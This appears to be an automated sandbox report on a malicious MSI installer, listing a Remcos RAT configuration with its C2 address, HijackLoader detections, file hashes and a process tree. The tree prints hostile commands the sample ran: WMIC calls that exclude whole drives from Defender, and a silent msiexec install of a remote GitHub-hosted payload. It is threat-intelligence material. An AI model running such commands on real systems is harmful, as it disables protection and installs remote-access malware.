Analysis

  • max time kernel
    149s
  • max time network
    152s
  • platform
    windows11-21h2_x64
  • resource
    win11-20250217-en
  • resource tags

    arch:x64arch:x86image:win11-20250217-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    21/02/2025, 22:00

General

  • Target

    ThePredictor.msi

  • Size

    27.3MB

  • MD5

    f57bed58fae51b1eb360d11ffb042859

  • SHA1

    18d49f590fec35f5f07a8a9ed7ede776cdfbf412

  • SHA256

    0f81e4f98ae30a8c891b17872789cd5c0669bec05b6d4f99f9835fbcdb67b0ce

  • SHA512

    e71e09070cd37ba84fee17ba47c74c25b1d38408cf94a136cf6f42ee6df50f96d7bc5b33bd49729d5090fdade6e05678175bf49aa9474b1f93f2ea75d8e83f1d

  • SSDEEP

    786432:h6JCD0rr9pQLq9jRbfQrP6sJ/xxLbxGrSU4+u:ArrHQLMf1O/xRorSU

Malware Config

Extracted

Family

remcos

Botnet

v2

C2

185.157.162.126:1995

Attributes
  • audio_folder

    MicRecords

  • audio_record_time

    5

  • connect_delay

    0

  • connect_interval

    1

  • copy_file

    remcos.exe

  • copy_folder

    Remcos

  • delete_file

    false

  • hide_file

    false

  • hide_keylog_file

    false

  • install_flag

    false

  • keylog_crypt

    false

  • keylog_file

    logs.dat

  • keylog_flag

    false

  • keylog_folder

    remcos

  • mouse_option

    false

  • mutex

    qsdazeazd-EL00KX

  • screenshot_crypt

    false

  • screenshot_flag

    false

  • screenshot_folder

    Screenshots

  • screenshot_path

    %AppData%

  • screenshot_time

    10

  • take_screenshot_option

    false

  • take_screenshot_time

    5

Signatures

  • Detects HijackLoader (aka IDAT Loader) 1 IoCs
  • HijackLoader

    HijackLoader is a multistage loader first seen in 2023.

  • Hijackloader family
  • Remcos

    Remcos is a closed-source remote control and surveillance software.

  • Remcos family
  • Use of msiexec (install) with remote resource 1 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Blocklisted process makes network request 1 IoCs
  • Enumerates connected drives 3 TTPs 64 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Drops file in Program Files directory 7 IoCs
  • Drops file in Windows directory 24 IoCs
  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 7 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Kills process with taskkill 2 IoCs
  • Modifies data under HKEY_USERS 3 IoCs
  • Suspicious behavior: EnumeratesProcesses 7 IoCs
  • Suspicious behavior: MapViewOfSection 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of WriteProcessMemory 43 IoCs

Processes

  • C:\Windows\system32\msiexec.exe
    msiexec.exe /I C:\Users\Admin\AppData\Local\Temp\ThePredictor.msi
    1⤵
    • Enumerates connected drives
    • Event Triggered Execution: Installer Packages
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    PID:5936
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:6016
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding A72CE52C0F9CD0A9080F9DEE901A09F1
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      PID:4280
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\sev\dev\updt\lola.bat""
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:336
      • C:\Windows\system32\chcp.com
        chcp 65001
        3⤵
          PID:2288
        • C:\Windows\system32\cscript.exe
          cscript //nologo "C:\Program Files (x86)\sev\dev\updt\runTaskAsAdmin.vbs"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:3452
          • C:\Windows\System32\wscript.exe
            "C:\Windows\System32\wscript.exe" "C:\Program Files (x86)\sev\dev\updt\task.vbs"
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:2380
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" /c wmic.exe /Namespace:\\root\Microsoft\Windows\Defender class MSFT_MpPreference call Add ExclusionPath="C:\"
              5⤵
              • Suspicious use of WriteProcessMemory
              PID:1232
              • C:\Windows\System32\Wbem\WMIC.exe
                wmic.exe /Namespace:\\root\Microsoft\Windows\Defender class MSFT_MpPreference call Add ExclusionPath="C:\"
                6⤵
                • Suspicious use of AdjustPrivilegeToken
                PID:3608
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" /c wmic.exe /Namespace:\\root\Microsoft\Windows\Defender class MSFT_MpPreference call Add ExclusionPath="F:\"
              5⤵
              • Suspicious use of WriteProcessMemory
              PID:2788
              • C:\Windows\System32\Wbem\WMIC.exe
                wmic.exe /Namespace:\\root\Microsoft\Windows\Defender class MSFT_MpPreference call Add ExclusionPath="F:\"
                6⤵
                  PID:5256
              • C:\Windows\System32\cmd.exe
                "C:\Windows\System32\cmd.exe" /c taskkill /f /im cmd.exe
                5⤵
                • Suspicious use of WriteProcessMemory
                PID:2252
                • C:\Windows\system32\taskkill.exe
                  taskkill /f /im cmd.exe
                  6⤵
                  • Kills process with taskkill
                  PID:5628
              • C:\Windows\System32\cmd.exe
                "C:\Windows\System32\cmd.exe" /c taskkill /f /im msiexec.exe
                5⤵
                • Suspicious use of WriteProcessMemory
                PID:5624
                • C:\Windows\system32\taskkill.exe
                  taskkill /f /im msiexec.exe
                  6⤵
                  • Kills process with taskkill
                  PID:2084
              • C:\Windows\System32\wscript.exe
                "C:\Windows\System32\wscript.exe" "C:\Program Files (x86)\sev\dev\updt\secondaryTask.vbs" //B
                5⤵
                • Suspicious use of WriteProcessMemory
                PID:2512
                • C:\Windows\System32\msiexec.exe
                  "C:\Windows\System32\msiexec.exe" /i "https://raw.githubusercontent.com/leinchchanceleinch/jik/refs/heads/main/d.msi" /qn
                  6⤵
                  • Use of msiexec (install) with remote resource
                  PID:2244
      • C:\Windows\system32\msiexec.exe
        C:\Windows\system32\msiexec.exe /V
        1⤵
        • Adds Run key to start application
        • Blocklisted process makes network request
        • Enumerates connected drives
        • Drops file in Windows directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of WriteProcessMemory
        PID:1808
        • C:\Users\Admin\AppData\Local\IXXinstall\EHttpSrv.exe
          "C:\Users\Admin\AppData\Local\IXXinstall\EHttpSrv.exe"
          2⤵
          • Suspicious use of SetThreadContext
          • Executes dropped EXE
          • Loads dropped DLL
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious behavior: MapViewOfSection
          • Suspicious use of WriteProcessMemory
          PID:616
          • C:\Windows\SysWOW64\cmd.exe
            C:\Windows\SysWOW64\cmd.exe
            3⤵
            • Suspicious use of SetThreadContext
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious behavior: MapViewOfSection
            • Suspicious use of WriteProcessMemory
            PID:3192
            • C:\Users\Admin\AppData\Local\IXXinstall\EHttpSrv.exe
              C:\Users\Admin\AppData\Local\IXXinstall\EHttpSrv.exe
              4⤵
              • Loads dropped DLL
              • System Location Discovery: System Language Discovery
              PID:3896

      Network

      MITRE ATT&CK Enterprise v15

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      Downloads

      • C:\Config.Msi\e5778fc.rbs

        Filesize

        2KB

        MD5

        ac8030f924a6828712b7e2b466c8d3df

        SHA1

        778c34b4b4eccbd5dd45141d8706ef94aa61ffb2

        SHA256

        8e7b1782463f5f4abb8efa354a326a11205ce6c15ee21cecc1774858e2f4b422

        SHA512

        83e511128026b5acedf0fb817198675cec641a679527c90b75e6bf8303d8564a9f4b780f04aa9dc47a6b29b9bb400c81974b9322d3f7a5a6d80d2588920386d9

      • C:\Config.Msi\e58bc29.rbs

        Filesize

        10KB

        MD5

        6d05982b9ce9630f7e79f5a5e5fa0372

        SHA1

        6d0fac7183ed3cb68bfb0f5eee83f6b63979429d

        SHA256

        af79eb6277e065abdde6880161b5b71b5f43b13fff27861de650d64427630573

        SHA512

        1d0582d11a647c30afef7c65a1c73e475b53a3aac97e2a9726ad3d3d1f02b0462032c5ae1e45264ecf7d130cf8414c892892678aa93aa4a6210ed67e0201e841

      • C:\Program Files (x86)\sev\dev\updt\lola.bat

        Filesize

        656B

        MD5

        73e4aed899a6014299b63ccf9eb520f5

        SHA1

        4147c2dd9277d64c5ecc9e7782e5d5aa94e56b00

        SHA256

        01c8cc249b04fee266cf757130dfef5b099cdf03337161a6c7f9346b7d2cb4f0

        SHA512

        e0ad8e8800908a5e0b60d433997c0cebc0750ae7bee0e7fe51c2e5f7fd61792f0c600c2fe65965b0c2562c61f05773d9106d89d7b2d1fb71eaed0dfbe19b5612

      • C:\Program Files (x86)\sev\dev\updt\runTaskAsAdmin.vbs

        Filesize

        872B

        MD5

        64dccadec94cfd25ee1ed659b29182b2

        SHA1

        64bc8bca314a238a900de2092587b07903b08e6c

        SHA256

        c8c9c931af038f86f25acb8f2e5dd98b01c7fdd41f0a1a3afa44e555f0b976cd

        SHA512

        adff4899e842137c9d78cd1b0056f3610d442b480e2829a41ad505d7353f59dc9fe50ec6055478ace36e4069e388a279e5ec60ca98751a13a559b40d4c847f93

      • C:\Program Files (x86)\sev\dev\updt\secondaryTask.vbs

        Filesize

        530B

        MD5

        f46334bc2aaa5c17f94d9e1a71d313ad

        SHA1

        635bd3cd09045731691a446a82b9a30cb244ce8b

        SHA256

        3568b9a14ec94a3e7ee267124e3eaea38b6d49019988f5e68dc2fbc16057acaa

        SHA512

        e8f5216fe65fdbd8b81e2f14b2d40b11be6d5806262ee98292c7bf962ae22a5fb99fb4b58556953d4d6e78be332c0c2cff9b642ee9496dcf62fee452955da0ef

      • C:\Program Files (x86)\sev\dev\updt\task.vbs

        Filesize

        2KB

        MD5

        be8e86dd465192f94e52b2cf7bb6243a

        SHA1

        e62cfcee783511bf7aa2411564b856967a185749

        SHA256

        99d59c98978a5f883d3c69c9c6352311e07cb4b9ff0cd6ee96cd9fa6057b5a53

        SHA512

        fd1ab9e90af36cbed8b46115288a8868500bfde0cbe9b72a9b1b9801cebc2acb0829d9cadf97e7cd70b6322afd65df2965a51a11672458251ff63cd535b17cb2

      • C:\Users\Admin\AppData\Local\IXXinstall\EHttpSrv.exe

        Filesize

        20KB

        MD5

        9329ba45c8b97485926a171e34c2abb8

        SHA1

        20118bc0432b4e8b3660a4b038b20ca28f721e5c

        SHA256

        effa6fcb8759375b4089ccf61202a5c63243f4102872e64e3eb0a1bdc2727659

        SHA512

        0af06b5495142ba0632a46be0778a7bd3d507e9848b3159436aa504536919abbcacd8b740ef4b591296e86604b49e0642fee2c273a45e44b41a80f91a1d52acc

      • C:\Users\Admin\AppData\Local\IXXinstall\MFC80U.DLL

        Filesize

        1.0MB

        MD5

        686b224b4987c22b153fbb545fee9657

        SHA1

        684ee9f018fbb0bbf6ffa590f3782ba49d5d096c

        SHA256

        a2ac851f35066c2f13a7452b7a9a3fee05bfb42907ae77a6b85b212a2227fc36

        SHA512

        44d65db91ceea351d2b6217eaa27358dbc2ed27c9a83d226b59aecb336a9252b60aec5ce5e646706a2af5631d5ee0f721231ec751e97e47bbbc32d5f40908875

      • C:\Users\Admin\AppData\Local\IXXinstall\audiogram.tif

        Filesize

        877KB

        MD5

        5124236fd955464317fbb1f344a1d2f2

        SHA1

        fe3a91e252f1dc3c3b4980ade7157369ea6f5097

        SHA256

        ed1389002cdf96c9b54de35b6e972166ee3296d628943fd594a383e674c5cba6

        SHA512

        2b2ac23244b16f936ef9a4049586f58c809fcc4391a56390cc5db2e8d96140001e0b977680ed1d8b0ab9c410e865a880209e22add8d42e563dc40bc91236b252

      • C:\Users\Admin\AppData\Local\IXXinstall\http_dll.dll

        Filesize

        1.9MB

        MD5

        fe47e255c704b20cb20c8ed93ec94d47

        SHA1

        ed7d26624b3cfaa72cf7d3bc59d26845fb84247a

        SHA256

        b0d665cb466e10ef90e1d79a39cb655ebe785d0cefc074f7a22d04936b681879

        SHA512

        55813a4b755773f98991b47294fed03b23d5bee9af3ef98727b7345882fe0d9976546f46847fbc30119e7c62ce7ee8ae21f54065922041cf8d42364e607bc1c0

      • C:\Users\Admin\AppData\Local\Temp\MSI777a1.LOG

        Filesize

        21KB

        MD5

        513de46cd1679e74c92f79ff58986fe1

        SHA1

        4ede18e28c09d309bf9400ea1472c4e05750e5a5

        SHA256

        6e926f46800499b02f4029272de506507c93682c4634ba7ca51b9c0d2865be75

        SHA512

        4afee6794f55917951d46038c5ec98765759535797e92966208654501f881df847db52b2ed638ce5da72ef73e64d8d1194a1c38b349da9d38c8be045fc75bdaf

      • C:\Users\Admin\AppData\Local\Temp\c5e7050a

        Filesize

        1.0MB

        MD5

        5c23da7fc185cf01baaffc7b44448724

        SHA1

        e9493781c2cc370d9bb1d80b193774195a27fd4b

        SHA256

        bb6c66e342a728ef240a7265b72afe55c4847d90580dfef5013dac5ad0ff8b83

        SHA512

        878848a0415ed0e22aff8bfeb93753801be9af42f275709653864ef72e8aff40d0bbeb8d53e313551f061d048c61e61bdbc88be26024611d5fd0b70488bd54bf

      • C:\Windows\Installer\MSI7985.tmp

        Filesize

        557KB

        MD5

        2c9c51ac508570303c6d46c0571ea3a1

        SHA1

        e3e0fe08fa11a43c8bca533f212bdf0704c726d5

        SHA256

        ff86c76a8d5846b3a1ad58ff2fd8e5a06a84eb5899cdee98e59c548d33335550

        SHA512

        df5f1def5aac44f39a2dfde9c6c73f15f83a7374b4ad42b67e425ccb7ac99a64c5701b676ae46d2f7167a04a955158031a839e7878d100aaf8fab0ce2059f127

      • C:\Windows\Installer\MSI82BD.tmp

        Filesize

        2.9MB

        MD5

        5297df4268c31105df6d2fc39437d294

        SHA1

        df8d187c76abf86b8c7f3061723232424c6a7f2c

        SHA256

        696ed13d119273602770a67ac8015544cabba93a8316816e4fbdda5794b35399

        SHA512

        5fdd3cc4dfa1962a769138fece7a1ca9262d6503fe3a10838b6356d8fbe7081f841beb30bffbf0cc4966f863e63d420c05f9f903c7621da6130fea2e7ed85ad5

      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log

        Filesize

        155KB

        MD5

        d1a0856cb2db6bbc286b14c4f9b7c133

        SHA1

        99437eb33d1932244ea4ee741d8f0d203463828a

        SHA256

        17cd33a2542e9df03002e827d5b8ead393010e6e1b28af22e84bcdd7a2e8b067

        SHA512

        814c837603167989f640f465a798d3bbb592536ed550b5c82d73e341e5d9b4398f2681954ed0afc7e41eb06f1f4e2a00db95bc5aa52b05ff8fc042b33b7389e4

      • memory/616-85-0x0000000075110000-0x000000007528D000-memory.dmp

        Filesize

        1.5MB

      • memory/616-82-0x0000000075110000-0x000000007528D000-memory.dmp

        Filesize

        1.5MB

      • memory/3192-88-0x00007FFE33E20000-0x00007FFE34029000-memory.dmp

        Filesize

        2.0MB

      • memory/3192-90-0x0000000075110000-0x000000007528D000-memory.dmp

        Filesize

        1.5MB

      • memory/3896-92-0x00000000734C0000-0x00000000747D7000-memory.dmp

        Filesize

        19.1MB

      • memory/3896-94-0x00007FFE33E20000-0x00007FFE34029000-memory.dmp

        Filesize

        2.0MB

      • memory/3896-95-0x0000000000410000-0x0000000000494000-memory.dmp

        Filesize

        528KB

      • memory/3896-98-0x0000000000410000-0x0000000000494000-memory.dmp

        Filesize

        528KB

      • memory/3896-99-0x0000000000410000-0x0000000000494000-memory.dmp

        Filesize

        528KB